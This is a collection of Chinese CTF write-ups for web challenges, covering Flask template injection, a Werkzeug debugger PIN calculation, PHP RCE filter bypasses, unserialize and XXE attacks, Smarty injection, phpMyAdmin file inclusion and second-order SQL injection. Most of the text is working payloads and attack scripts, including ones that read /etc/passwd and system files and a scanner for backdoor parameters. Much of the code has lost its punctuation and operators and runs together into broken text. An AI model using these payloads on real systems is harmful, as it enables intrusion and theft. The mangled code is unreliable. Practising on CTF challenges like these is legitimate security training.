[#39;bin#39;, #39;boot#39;, #39;dev#39;, #39;etc#39;, #39;home#39;, #39;lib#39;, #39;lib64#39;, #39;media#39;, #39;mnt#39;, #39;opt#39;, #39;proc#39;, #39;root#39;, #39;run#39;, #39;sbin#39;, #39;srv#39;, #39;sys#39;, #39;tmp#39;, #39;usr#39;, #39;var#39;, #39; this_is_the_flag.txt#39;, #39;.dockerenv#39;, #39;app#39;]再读一下flag{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(txt.galf_eht_si_siht/[::-1],r).read() }}{% endif %}{% endfor %} eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9 flag{d6cc3d62-b7b7-4f67-9a7c-8f6c1d0a24d0}方法2-利用PIN码进行RCE#在hint页面发现了pin通过PIN码生成机制可知需要获取如下信息服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb或者root此处用的flaskwebmodname。一般不变就是flask.appgetattr(app, “name”, app.class.name)。python该值一般为Flask该值一般不变flask库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获取(eth0为网卡名)本题为1e:eb:d7:36:97:1e转换后为756572715513436机器的id对于非docker机每一个机器都会有自已唯一的idLinux/etc/machine-id或/proc/sys/kernel/random/boot_i有的系统没有这两个文件docker/proc/self/cgroup首先服务器运行flask所登录的用户名{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__[open](/etc/passwd).read()}} 或 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[open](/etc/passwd).read()}}得到root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh应该是flaskweb其次获得mac地址{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(/sys/class/net/eth0/address,r).read() }}{% endif %}{% endfor %}得到72:43:c6:42:00:c7转十进制得到125635414589639接着获取机器id{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(/proc/self/cgroup,r).read() }}{% endif %}{% endfor %}得到12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope8:rdma:/7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope1:namesystemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope也就是cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7计算pin代码如下importhashlibfromitertoolsimportchain probably_public_bits[flaskweb,#服务器运行flask所登录的用户名flask.app,#modnameFlask,#getattr(app, \_\_name__, app.\_\_class__.\_\_name__)/usr/local/lib/python3.7/site-packages/flask/app.py,#flask库下app.py的绝对路径]private_bits[756572715513436,#当前网络的mac地址的十进制数cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7#机器的id]hhashlib.md5()forbitinchain(probably_public_bits,private_bits):ifnotbit:continueifisinstance(bit,str):bitbit.encode(utf-8)h.update(bit)h.update(bcookiesalt)cookie_name__wzdh.hexdigest()[:20]numNoneifnumisNone:h.update(bpinsalt)num(%09d%int(h.hexdigest(),16))[:9]rvNoneifrvisNone:forgroup_sizein5,4,3:iflen(num)%group_size0:rv-.join(num[x:xgroup_size].rjust(group_size,0)forxinrange(0,len(num),group_size))breakelse:rvnumprint(rv)得到298-674-256输入pin即可进入交互式shell执行命令即可得到flagos.popen(cat /this_is_the_flag.txt).read()[CISCN 2019 初赛]Love Math代码审计 能看出来是个构造rce的题分析过滤后得出可以使用的白名单中的数学函数.,^等同时长度限制在80个字符以内先去传入一个参数看一下是否能进行命令执行payload/?c19-1然后这里黑名单过滤了不少东西常规的cat/flag都不能使用了这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);$ a‘system’;$a(‘cat/flag’);这里使用的传参是?c($ _GET[a])( $_GET[b])asystembcat /flag但是这里的_GET和ab都不是白名单里面的这里需要替换替换之后?c($ _GET[pi])( $_GET[abs])pisystemabscat /flag但是这里的_GET是无法进行直接替换而且[]也被黑名单过滤了这里就需要去了解一下他给的白名单里面的函数了这里说一下需要用到的几个函数这里先将_GET来进行转换的函数hex2bin() 函数hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。hex2bin(5f 47 45 54) 就是 _GET,但是hex2bin()函数也不是白名单里面的而且这里的5f 47 45 54也不能直接填入这里会被preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/’, $ content, $used_funcs);来进行白名单的检测。这里的hex2bin()函数可以通过base_convert()函数来进行转换base_convert()函数能够在任意进制之间转换数字这里的hex2bin可以看做是36进制用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2binhex2binbase_convert(37907361743,10,36)然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数dechex(1598506324)1598506324转换为16进制就是5f 47 45 54最终的payload/?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})pisystemabscat/flag80个字符比较少想办法构造$_GET[1]再传参getflag但是其实发现构造这个好像更难。。。因为$、_、[、]都不能用同时GET必须是大写很难直接构造。一种payload是这样$ pibase_convert(37907361743,10,36)(dechex(1598506324))p i ) p i ( ( pi){pi}((pi)pi((pi){abs})pisystemabstac /flag分析base_convert(37907361743,10,36)hex2bindechex(1598506324)5f474554$pihex2bin(5f474554)$pi_GET//hex2bin将一串16进制数转换为二进制字符串($$pi){pi}(($$pi){abs})($_GET){pi}($_GET){abs}//{}可以代替[]另一种payload是这样$pibase_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})分析base_convert(696468,10,36)exec$pi(8768397090111664438,10,30)getallheadersexec(getallheaders(){1})//操作xx和yy中间用逗号隔开echo都能输出echoxx,yy既然不能$_GET那就header传思路二直接想办法catflag也是可以的//exec(hex2bin(dechex(109270211257898))) exec(catf*)($pibase_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))//system(cat.dechex(16)^asinh^pi) system(cat*)base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))思路三前面都是利用白名单的数学函数将数字转成字符串其实也可以这是fuzz脚本?php$payload[abs,acos,acosh,asin,asinh,atan2,atan,atanh,bindec,ceil,cos,cosh,decbin,decoct,deg2rad,exp,expm1,floor,fmod,getrandmax,hexdec,hypot,is_finite,is_infinite,is_nan,lcg_value,log10,log1p,log,max,min,mt_getrandmax,mt_rand,mt_srand,octdec,pi,pow,rad2deg,rand,round,sin,sinh,sqrt,srand,tan,tanh];for($k1;$ksizeof($payload);$k){for($i0;$i9;$i){for($j0;$j9;$j){$exp$payload[$k]^$i.$j;echo($payload[$k].^$i$j.$exp);echobr /;}}}最后的payload?c$pi(is_nan^(6).(4)).(tan^(1).(5));$pi$$pi;$pi{0}($pi{1})0system1cat%20/flag[强网杯 2019]高明的黑客我们应该找存在形如$_GET[ganVMUq3d] ;eval($_GET[ganVMUq3d]?? );$_GET[jVMcNhK_F] ;system($_GET[jVMcNhK_F]?? );$_GET[cXjHClMPs] ;echo{$_POST[cXjHClMPs]};的结构传入payload找flag。步骤大致是字符匹配$_GET[、$_POST[尝试往匹配到的参数名传递echo看看哪些参数可以接收到参数并打印出来。importosimportreimporttimeimportthreadingimportrequestsfromtqdmimporttqdm thread_threading.Semaphore(30)# 设置最大线程数 ,别设置太大不然还是会崩的requests.adapters.DEFAULT_RETRIES5#设置重连次数防止线程数过高断开连接sessionrequests.Session()session.keep_aliveFalse# 设置连接活跃状态为Falsebuu_urlhttp://35a34fe5-7916-4ebf-a7ff-bfd82fe9bd4a.node4.buuoj.cn:81filePathrD:\Downloads\srcos.chdir(filePath)filesos.listdir(filePath)# 设置目标服务器的URL。#切换工作目录到指定路径并获取该目录下的所有文件列表。flags[]rrGETre.compile(r\$_GET\[\(\w)\\])# 匹配get参数rrPOSTre.compile(r\$_POST\[\(\w)\\])# 匹配post参数defgetflag(file):print([]checking file:%s%(file))thread_.acquire()urlbuu_url/filewithopen(file,encodingutf-8)asf:getslist(rrGET.findall(f.read()))postslist(rrPOST.findall(f.read()))forgingets:print([]checking %s%(g))time.sleep(0.02)ressession.get(url?%s%s%(g,echo ------))if------inres.text:flagfileName%s, param%s%(file,g)flags.append(flag)forpinposts:print([]checking %s%(p))ressession.post(url,data{p:echo ------})if------inres.text:flagfileName%s, param%s%(file,g)flags.append(flag)thread_.release()获取文件中的GET和POST参数。 对每个参数构造请求并发送检查响应中是否包含特定标识------。 如果找到匹配项记录文件名和参数名到flags列表。if__name____main__:start_timetime.time()thread_list[]forfileintqdm(files):tthreading.Thread(targetgetflag,args(file,))thread_list.append(t)fortinthread_list:t.start()fortinthread_list:t.join()print(flags)end_timetime.time()print([end]程序结束:用时(秒):str(end_time-start_time))初始化线程列表。 使用for循环遍历文件列表为每个文件创建线程。 启动所有线程并等待所有线程完成。 打印收集到的flags以及程序运行时间[网鼎杯 2020 朱雀组]phpweb网站一直刷新 看源码发现有两个隐藏属性抓个包看看有两个参数对两个参数与返回值进行分析我们使用dat时一般是这种格式date(“Y-m-dh:i:sa”)那我们可以猜测func参数接受的是一个函数p参数接受的是函数执行的内容我们可以输入参数md5和1进行测试结果如下说明猜测是对的那我们就尝试读取下当前的目录信息payloadfuncsystempls显示hacking应该是被过滤掉了因此我们考虑读取下源码信息payloadfuncfile_get_contentspphp://filter/readconvert.base64-encode/resourceindex.php对获得的字母串进行base64解码结果如下?php $disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg,assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk, array_map,registregister_shutdown_function,register_tick_function,filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents); function gettime($func, $p) { $result call_user_func($func, $p); $a gettype($result); if ($a string) { return $result; } else {return ;} } class Test { var $p Y-m-d h:i:s a; var $func date; function __destruct() { if ($this-func ! ) { echo gettime($this-func, $this-p); } } } $func $_REQUEST[func]; $p $_REQUEST[p]; if ($func ! null) { $func strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die(Hacker...); } } ? /p form idform1 nameform1 actionindex.php methodpost input typehidden idfunc namefunc valuedate input typehidden idp namep valueY-m-d h:i:s a /body /html__destruct()函数此函数会在类被销毁时调用那我们如果反序列化一个类在类里的参数中写上我们要执行的代码和函数这样的话就会直接调用gettime函数而不会执行in_array($ func, $disable_fun)那我们就绕过了黑名单的判断payloadfuncunserializepO:4:“Test”:2:{s:1:“p”;s:2:“ls”;s:4:“func”;s:6:“system”;} 结果如下序列化代码?phpclassTest{var $pls;var $funcsystem;}$testnew Test();$strserialize($test);print($str);?成功绕过黑名单获取到当前的目录信息那我们就修改下传递的参数查找下flag的位置信息payloadfuncunserializepO:4:“Test”:2:{s:1:“p”;s:18:“find/±nameflag*”;s:4:“func”;s:6:“system”;} 结果如下获得flag文件位置信息后修改传递的参数读取下flag值payloadfuncunserializepO:4:“Test”:2:{s:1:“p”;s:22:“cat/tmp/flagoefiu4r93”;s:4:“func”;s:6:“system”;} 结果如下另外一种绕过黑名单的方式第三步中的读取目录信息可以修改payloadfunc\systempls也可以获得目录信息结果如下;然后后面的就是查找flag文件的位置、读取flag信息结果如下\system可以绕过黑名单的原因php内的 \ 在做代码执行的时候会识别特殊字符串[BSidesCF 2019]Futurellaf12直接得到flag将整个网页内容复制到记事本也能看见[NCTF2019]Fake XML cookbookf12发现这个分析后通过使用jQuery选择器代码获取了输入框中的用户名和密码。var data “” username “” password “”;2.这里使用输入的用户名和密码构造了一个简单的 XML 数据字符串。$.ajax({type: “POST”,url: “doLogin.php”,contentType: “application/xml;charsetutf-8”,data: data,dataType: “xml”,anysc: false,success: function (result) {// 处理登录结果},error: function (XMLHttpRequest, textStatus, errorThrown) {// 处理请求错误}});3.通过 jQuery 的 AJAX 函数向服务器端发送一个 POST 请求将构造的 XML 数据发送到名为 “doLogin.php” 的服务端脚本。success: function (result) {var code result.getElementsByTagName(“code”)[0].childNodes[0].nodeValue;var msg result.getElementsByTagName(“msg”)[0].childNodes[0].nodeValue;if(code “0”){$ (“.msg”).text(msg login fail!“);} else if(code “1”){$(”.msg).text(msg login success!“);} else {$(”.msg).text(“error:” msg);}}4.在成功回调函数中根据返回的 XML 数据解析出登录结果的代码和消息然后根据不同的结果更新页面上的提示信息突然有个想法上面是判断返回的code是0或1判断成功与否说明一定会回显如果拦截回显改了code是不是也能成功登录抓包试试然后拦截然后forward等回显改code放包成功了但是没有用根据题目猜测是xxe构造payload?xml version1.0 encodingutf-8? !DOCTYPE note [ !ENTITY admin SYSTEM file:///flag ] userusernameadmin;/usernamepassword123/password/user[BJDCTF2020]Mark loves cat[BSidesCF 2019]Kookie收集下信息扫目录检查HTTP报文查看初始页面HTML代码。没有找到有用的信息但是页面上明示了当前存在一个cookie账户其密码为monster。并且要求我们以admin的身份登录盲猜登录后就会给flag或者进入下一个阶段的解题。登录并抓包可以观察到设置了一个Cookie内容为usernamecookie的键值对显然这里Cookie中的键值对的值作为了服务端在用户通过账户密码登录之后再次访问时验证身份的凭证将其值改为admin也就标志我们成为了admin用户接着再携带修改后的Cookie访问页面就能获得flag。[WUSTCTF2020]朴实无华[CISCN2019 华东南赛区]Web11打开题目观察网页发现是用的smarty模板同时我们的IP显示在了右上角API Usage处直接在url处修改 发现回显在API URI中但是通过尝试发现没啥用页面提示应该是一个类似IP查询的网站根据XFFX-Forwarded-For判断使用BurpSuite抓取数据包添加请求头X-Forwarded-For: 127.0.0.1在Repeater中发送数据包得到回显跟猜想的内容一致很可能在此处存在注入访问/index.php页面能正常回显判断其后端语言为PHP而且其脚注中其为PHP模版引擎基本语法{$ name}变量{KaTeX parse error: Expected EOF, got } at position 8: name[2]}̲数组 {* 注释 *}注释…smarty.config}返回当前目录名称{ $smarty.current_dir}测试模版语法能否执行X-Forwarded-For:{7*7}成功执行然后最主要的是嵌入php脚本能否在模板中直接嵌入php脚本取决于$php_handling的设置基本语法{php}include(“/path/to/display_weather.php”);{/php}但在测试时频频报错后来查阅资料全部的PHP条件表达式和函数都可在{if}中使用首先查看phpinfo信息使用BurpSuite抓取数据包添加请求头信息X-Forwarded-For: {if phpinfo()}{/if}查找flag所在位置{ifsystem(ls /)}{/if}cat查看[MRCTF2020]PYWebsite叫我分析源码发现一个验证后会进入flag.phpzhijie直接进入flag提示要购买者和自己才可以拿flag我们使用X-Forwarded-For: 127.0.0.1试试[GWCTF 2019]我有一个数据库f12什么都没有信息收集扫一下目录 有robots.txtdirsearch还扫描到存在phpmyadmin数据库管理页面尝试访问4.8.0 phpMyAdmin 4.8.2 的 phpMyAdmin 4.8.x 中版本存在任意文件读取漏洞[phpmyadmin 4.8.1 远程文件包含漏洞CVE-2018-12613](https://www.abelche.com/2019/11/16/CVE/phpmyadmin 4.8.1 远程文件包含漏洞CVE-2018-12613/)漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑通过二次编码即可绕过检查造成远程文件包含漏洞。攻击者必须经过身份验证以下情况除外$ cfg[‘AllowArbitraryServer’] true攻击者可以指定已经控制的任何主机并在 phpMyAdmin 上执行任意代码$cfg[‘ServerDefault’] 0这绕过登录并在没有任何身份验证的情况下运行易受攻击的代码paylaod: /index.php?targetdb_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwdctf flag一般都在根目录[NPUCTF2020]ReadlezPHP发现无法使用鼠标右键打开源代码所以可以手动添加**view-source:**来显示页面源代码。往下拉可以看到可疑的源代码访问这个链接发现一个可以文件?php #error_reporting(0); class HelloPhp { public $a; public $b; public function __construct(){ $this-a Y-m-d h:i:s; $this-b date; } public function __destruct(){ $a $this-a; $b $this-b; echo $b($a); } } $c new HelloPhp; if(isset($_GET[source])) { highlight_file(__FILE__); die(0); } $ppp unserialize($_GET[data]); 对传入的data反序列化依旧是代码审计明显反序列化的题 试一下system ls构造payload dataO:8:“HelloPhp”:2:{s:1:“a”;s:2:“ls”;s:1:“b”;s:6:“system”;} 没执行应该是被过滤了过滤了systemexecshell_exec函数但是没过滤assertassert是php之中的断言如果传入的是字符串则会把它作为php代码执行但为什么不直接用eval呢是因为不能以变量函数的形式调用eval eval()里的引号必须是双引号因为单引号不能解析字符串里的变量$str且必须以分号结尾函数调用除外eval 属于PHP语法构造的一部分并不是一个函数所以不能通过 变量函数 的形式来调用虽然她确实像极了函数原型。这样的语法构造还包括echoprintunset()isset()empty()includerequire传一句话木马蚁剑连过去什么都没有啊估计是权限不够如果是这种情况只能猜测flag会显示在phpinfoO:8:“HelloPhp”:2:{s:1:“a”;s:16:“eval(phpinfo());”;s:1:“b”;s:6:“assert”;}或者用call_user_func(phpinfo)call_user_func把第一个参数当作回调函数使用。回调函数把一个函数当作作为外层函数的参数相当于把函数嵌入到外层函数中[WUSTCTF2020]颜值成绩查询[Zer0pts2020]Can you guess it?进去source看到源码正则表达式分解/正则表达式的开始和结束分隔符。config\.php匹配文件名config.php。这里的反斜杠\用于转义点号.因为点号在正则表达式中是一个特殊字符表示任意单个字符。通过转义我们确保它匹配字面意义上的点号。\/\*匹配零个或多个斜杠/。这意味着文件名可以是config.php后跟任意数量的斜杠比如config.php/或config.php//等。$断言字符串的末尾。这确保了匹配必须在字符串的末尾结束防止像config.phpXYZ这样的字符串被错误匹配。/i正则表达式的修饰符表示匹配是不区分大小写的。这意味着即使请求的是CONFIG.PHP或其他大小写变体也能被匹配注释指明flag在config.php中但是如果按照绕过hash_equals的思路来是行不通的该函数并没有漏洞也没有使用错误但是可以留意到显示源码的逻辑部分故作玄虚没有使用简洁的__FILE__而是采用basename函数截取$_SERVER[PHP_SELF]本题的利用点也就在此处$_SERVER[PHP_SELF]会获取我们当前的访问路径并且PHP在根据URI解析到对应文件后会忽略掉URL中多余的部分即若访问存在的index.php页面如下两种UR均会访问到。/index.php /index.php/dosent_exist.phpbasename可以理解为对传入的参数路径截取最后一段作为返回值但是该函数发现最后一段为不可见字符时会退取上一层的目录即$var1/config.php/testbasename($var1)test$var2/config.php/%ffbasename($var2)config.php接下来就显然了通过构造URI让其包含config.php这个文件名再让basename函数截取出来之后通过请求参数source就能显示config.php的源码也就能见到flag了在使用默认语言环境设置时basename() 会删除文件名开头的非 ASCII 字符。ascii值为47、128-255的字符均可以绕过basename()其中47对应的符号为’/在实际场景中没有利用价值那么也就是说我们可以利用一部分不可见字符来绕过basename()同时在测试中也可以发现中文字符也是可以绕过basename()例如**汉字、(中文问号)、《、》、**等中文字符[watevrCTF-2019]Cookie Store进去发现flag要100我们只有50明显钱不够先买个1块钱的看下相关信息。发现cookie中的session明显为base64加密解出来看看hgistory显示的是购买的商品名称看看能不能在后面添加个flag cookie或替换 发现不行直接改钱[0CTF 2016]piapiapia[CISCN2019 华北赛区 Day1 Web5]CyberPunk看源码提示用php伪协议?filephp://filter/convert.base64-encode/resourceindex.php同样可以得到index.phpsearch.phpdelete.phpconfig.phpconfirm.php,change.phpindex.phpsearch.php?php require_once config.php; if(!empty($_POST[user_name]) !empty($_POST[phone])) { $msg ; $pattern /select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i; $user_name $_POST[user_name]; $phone $_POST[phone]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg no sql inject!; }else{ $sql select * from user where user_name{$user_name} and phone{$phone}; $fetch $db-query($sql); } if (isset($fetch) $fetch-num_rows0){ $row $fetch-fetch_assoc(); if(!$row) { echo error; print_r($db-error); exit; } $msg p姓名:.$row[user_name]./pp, 电话:.$row[phone]./pp, 地址:.$row[address]./p; } else { $msg 未找到订单!; } }else { $msg 信息不全; } ?delete.php?php require_once config.php; if(!empty($_POST[user_name]) !empty($_POST[phone])) { $msg ; $pattern /select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i; $user_name $_POST[user_name]; $phone $_POST[phone]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg no sql inject!; }else{ $sql select * from user where user_name{$user_name} and phone{$phone}; $fetch $db-query($sql); } if (isset($fetch) $fetch-num_rows0){ $row $fetch-fetch_assoc(); $result $db-query(delete from user where user_id . $row[user_id]); if(!$result) { echo error; print_r($db-error); exit; } $msg 订单删除成功; } else { $msg 未找到订单!; } }else { $msg 信息不全; } ?config.php?php ini_set(open_basedir, getcwd() . :/etc:/tmp); $DATABASE array( host 127.0.0.1, username root, password root, dbname ctfusers ); $db new mysqli($DATABASE[host],$DATABASE[username],$DATABASE[password],$DATABASE[dbname]);confirm.php?php require_once config.php; //var_dump($_POST); if(!empty($_POST[user_name]) !empty($_POST[address]) !empty($_POST[phone])) { $msg ; $pattern /select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i; $user_name $_POST[user_name]; $address $_POST[address]; $phone $_POST[phone]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg no sql inject!; }else{ $sql select * from user where user_name{$user_name} and phone{$phone}; $fetch $db-query($sql); } if($fetch-num_rows0) { $msg $user_name.已提交订单; }else{ $sql insert into user ( user_name, address, phone) values( ?, ?, ?); $re $db-prepare($sql); $re-bind_param(sss, $user_name, $address, $phone); $re $re-execute(); if(!$re) { echo error; print_r($db-error); exit; } $msg 订单提交成功; } } else { $msg 信息不全; } ?change.php?php require_once config.php; if(!empty($_POST[user_name]) !empty($_POST[address]) !empty($_POST[phone])) { $msg ; $pattern /select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i; $user_name $_POST[user_name]; $address addslashes($_POST[address]); $phone $_POST[phone]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg no sql inject!; }else{ $sql select * from user where user_name{$user_name} and phone{$phone}; $fetch $db-query($sql); } if (isset($fetch) $fetch-num_rows0){ $row $fetch-fetch_assoc(); $sql update user set address.$address., old_address.$row[address]. where user_id.$row[user_id]; $result $db-query($sql); if(!$result) { echo error; print_r($db-error); exit; } $msg 订单修改成功; } else { $msg 未找到订单!; } }else { $msg 信息不全; } ?index.php里面虽然给了一个文件包含不过有一定的限制还设置了openbasedir并且剩下的代码都是数据库相关操作懒得考虑文件包含还能怎么利用了看数据库操作change.php,delete.php,search.php,confirm.php四个文件分别完成修改删除查找和插入四个功能其中每个操作都对用户名和手机号做了超级过滤$pattern /select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i;有这样子的正则限制感觉是什么也做不了了但是address项却未做任何过滤可以考虑通过address进行注入在change.php中发现address被拿进去用了虽然confirm.php中也使用了address但是用的SQL预处理无法注入而change.php中是将已入库的数据又拿出来用显然构成了二次注入old_address的值完全可控且不受限制而紧随其后的还有一个$db-error的输出可以使用报错注入来获取数据报错注入有一个长度限制注意sql语句$ sql “updateusersetaddress”.a d d r e s s . ′ , ‘ o l d a d d r e s s ‘ ′ . address., old_address.address.′,‘olda​ddress‘′.row[‘address’].“’ whereuser_id”. $row[‘user_id’];使用updataxml报错注入updataxml函数对字符串长度有限制所以分段进行读取1’ where user_idupdatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,30)),0x7e),1)#这里有另一种方法不理解由于address可被查询可以闭合一下引号再次对address进行赋值这样子就可以把查询结果回显出来payload如下payload ,\address{} where user_name’z33’ – “.format(“(select * from(select load_file(‘/flag.txt’))a)”)在update语句中使用select的时候要额外套一层select然后还要给内层select起一个别名原理没深究过但的确是这样的无过滤语句以此payload可以为所欲为了因为一次攻击需要访问三个界面太麻烦写了个垃圾脚本importrequests urlhttp://2e1c4b3c-565d-423f-90d7-ac12827e9518.node3.buuoj.cn/phone28payload,address{} where user_namez33 -- .format((select * from(select load_file(/flag.txt))a))data{user_name:z33,phone:phone,address:payload}res1requests.post(urlurlconfirm.php,datadata)data{user_name:z33,phone:phone,address:111}res2requests.post(urlurlchange.php,datadata)# print(res2.text)data{user_name:z33,phone:phone}res3requests.post(urlurlsearch.php,datadata)print(res3.text)可以看出来攻击过程是先提交数据然后在change中将payload从库中取出完成修改最后去search.php查询得到数据phone每次提交改一下不然新的数据插入不进去[SUCTF 2019]Pythonginx直接给了源码代码上看我们需要提交一个url用来读取服务器端任意文件简单来说需要逃脱前两个if成功进入第三个if。而三个if中判断条件都是相同的不过在此之前的host构造却是不同的这也是blackhat该议题中想要说明的一点当URL 中出现一些特殊字符的时候输出的结果可能不在预期接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): unichr(x) urlhttp://suctf.c{}.format(uni) try: if getUrl(url): print(str: uni unicode: \\ustr(hex(x))[2:]) except: pass def getUrl(url): urlurl hostparse.urlparse(url).hostname 使用 urlparse 解析URL并获取主机名hostname if host suctf.cc: return False partslist(urlsplit(url)) hostparts[1] 使用 urlsplit 将URL拆分为多个部分并从这些部分中获取主机名 if host suctf.cc: return False newhost[] for h in host.split(.): newhost.append(h.encode(idna).decode(utf-8)) parts[1]..join(newhost) 将主机名拆分为多个子域名部分。 对每个子域名部分进行编码转换使用 idna 编码以处理国际化域名IDN。 将编码后的子域名部分重新组合成新的主机名 